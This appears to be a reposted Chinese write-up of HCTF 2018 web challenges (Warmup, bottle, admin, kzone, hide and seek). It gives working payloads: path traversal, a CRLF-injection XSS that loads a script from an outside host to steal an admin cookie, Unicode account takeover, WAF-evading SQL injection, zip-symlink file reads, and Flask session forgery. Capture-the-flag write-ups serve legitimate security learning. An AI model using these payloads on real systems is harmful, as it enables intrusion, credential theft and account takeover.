内容简介:划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。得到Flag位置的提示:网页源码提示source.php,访问显示源码:
划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。
Warmup
得到Flag位置的提示:
flag not here, and flag in ffffllllaaaagggg
网页源码提示source.php,访问显示源码:
<?php class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
这个就是 phpMyAdmin-4-8-x-Authorited-CLI-to-RCE 漏洞的代码,构造Payload如下:
http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
Flag为: hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
bottle
描述
Not hard, I believe you are the lucky one!
hint1: */3 */10
hint2: bot use firefoxDriver
解题
bottle 是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。
path参数为注入点,输出点为响应中的Location,构造Xss的Poc
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user/%0a%0d%0a%0d<script>xss</script>
发送给admin,打cookie:
但是这里存在一个问题,响应是302跳转,我们注入的XssPayload作为实体不会被浏览器解析,根据hint2: bot use firefoxDriver,让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。
不是很清楚bot是否会补全基本的html标签,所以手动添加一对body,Poc如下
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/user%0a%0d%0a<body></body>%3cscript+src%3dhttp://www.rai4over.cn/bottle.js%3e%3c%2fscript%3e
参考p老板链接: https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
admin
网页源码中找到源码链接:
https://github.com/woadsl1234/hctf_flask/
查看源码,得到一些信息
.vscode/settings.json(开发环境 python 2.7)
{ "python.pythonPath": "/usr/local/opt/python@2/bin/python2.7" }
requirements.txt(安装库版本)
Flask==0.10.1 Werkzeug==0.10.4 Flask_Login==0.4.1 Twisted==10.2.0 Flask_SQLAlchemy==2.0 WTForms==2.2.1 Flask_Migrate==2.2.1 Flask_WTF==0.14.2 Pillow==5.3.0 pymysql==0.9.2
模板中看到当session['name'] == 'admin'时打印Flag。
{% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
关键代码:
@app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form) @app.route('/logout') def logout(): logout_user() return redirect('/index') @app.route('/change', methods = ['GET', 'POST']) def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name']) user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash('change successful') return redirect(url_for('index')) return render_template('change.html', title = 'change', form = form) def strlower(username): username = nodeprep.prepare(username) return username
-
login函数,使用form.username.data获取表单内容,这是一个unicode对象,Twisted的版本小于11,并且使用封装nodeprep.prepare的strlower()处理form.username.data存入session['name']。
-
change函数,再次使用strlower()处理unicode对象session['name']。
参考 此篇文章 可以完成低版本Twisted处理unicode堆在存在的幂等性攻击。(PS:Python版本大于等于2.5)
注册一个ᴬdmin账号,登陆ᴬdmin,调用一次strlower(),此时session['name']变成Admin的unicode对象。
修改账号密码,调用一次strlower(),变成admin,已经修改了admin的密码了。
重新登陆admin,看到flag。
kzone
扫描获取题目的源码
http://kzone.2018.hctf.io/www.zip
发现问题文件member.php,cookie中的login_data存在注入漏洞
<?php if (!defined('IN_CRONLITE')) exit(); $islogin = 0; if (isset($_COOKIE["islogin"])) { if ($_COOKIE["login_data"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $login_data['admin_pass']) { $islogin = 1; } else { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } } } if (isset($_SESSION['islogin'])) { if ($_SESSION["admin_user"]) { $admin_user = base64_decode($_SESSION['admin_user']); $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $_SESSION["admin_pass"]) { $islogin = 1; } } } ?>
但是有个基于黑名单的软waf
<?php function waf($string) { $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string); }
没有其他的难点,这里同样要利用unicode绕过waf,满足unicode编码格式的字符在经过json_decode函数后会被解析。
比如传入\u006f后,会被解析成o。
<?php $a = '{"test":"\u006f"}'; $a = json_decode($a); var_dump($a); # { ["test"]=> string(1) "o" }
延时test语句,绕过waf。
login_data={"admin_user":"rai4over'/**/\u006fr/**/\u0073leep(2)"}
最后盲注即可,渣代码脚本就不贴了。
hide and seek
注册用户,登陆后可以上传zip文件,利用zip软连接读取文件。
读取/proc/self/environ得到。
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini得到。
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到源码。
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='127.0.0.1', debug=True, port=10008)
可以发现源码中并没有flag的获取方式。
读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html得到index.html源码
<h1>Hello, {{ user }}. </h1> {% if user == 'admin' %} Your flag: <br> {{ flag }}
发现当满足条件后就会打印输出flag,此时我们就需要获得admin的session。
flask的session是本地进行存储的,并且通过了SECRET_KEY进行加密的,得到秘钥就能伪造admin的session。
random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100)
秘钥的生成是通过伪随机数进行生成,种子是通过uuid.getnode()获取的mac地址的十进制,是固定的,我们知道mac地址就能够预测SECRET_KEY。
读取/sys/class/net/eth0/address获取mac地址12:34:3e:14:7c:62,转化十进制20015589129314。
使用 github上的脚本 进行解密自己的flask的session,根据结果判断秘钥是否正确.
import random import os random.seed(int(20015589129314)) for x in range(1000): SECRET_KEY = str(random.random() * 100) cmd = '''python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6InRlc3QifQ.Dsqibw.-00-g7bQXA32H9mmH4EmiZaLTyY" -s "{key}"'''.format(key=SECRET_KEY) rs = os.popen(cmd).read() if ('error' not in rs): print(SECRET_KEY) exit()
SECRET_KEY为11.935137566861131,加密得到admin的session。(注意使用unicode形式的变量)
python session_cookie_manager.py encode -s "11.935137566861131" -t "{u'username': u'admin'}" #eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsHA.F25iczn54vupT0JUQzSKtYbuNw0
成功登录等到flag:
以上所述就是小编给大家介绍的《HCTF 2018 Web WrtieUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
深度探索C++对象模型
斯坦利•B.李普曼 (Stanley B. Lippman) / 侯捷 / 电子工业出版社 / 2012-1 / 69.00元
作者Lippman参与设计了全世界第一套C++编译程序cfront,这本书就是一位伟大的C++编译程序设计者向你阐述他如何处理各种explicit(明确出现于C++程序代码中)和implicit(隐藏于程序代码背后)的C++语意。 本书专注于C++面向对象程序设计的底层机制,包括结构式语意、临时性对象的生成、封装、继承,以及虚拟——虚拟函数和虚拟继承。这本书让你知道:一旦你能够了解底层实现模......一起来看看 《深度探索C++对象模型》 这本书的介绍吧!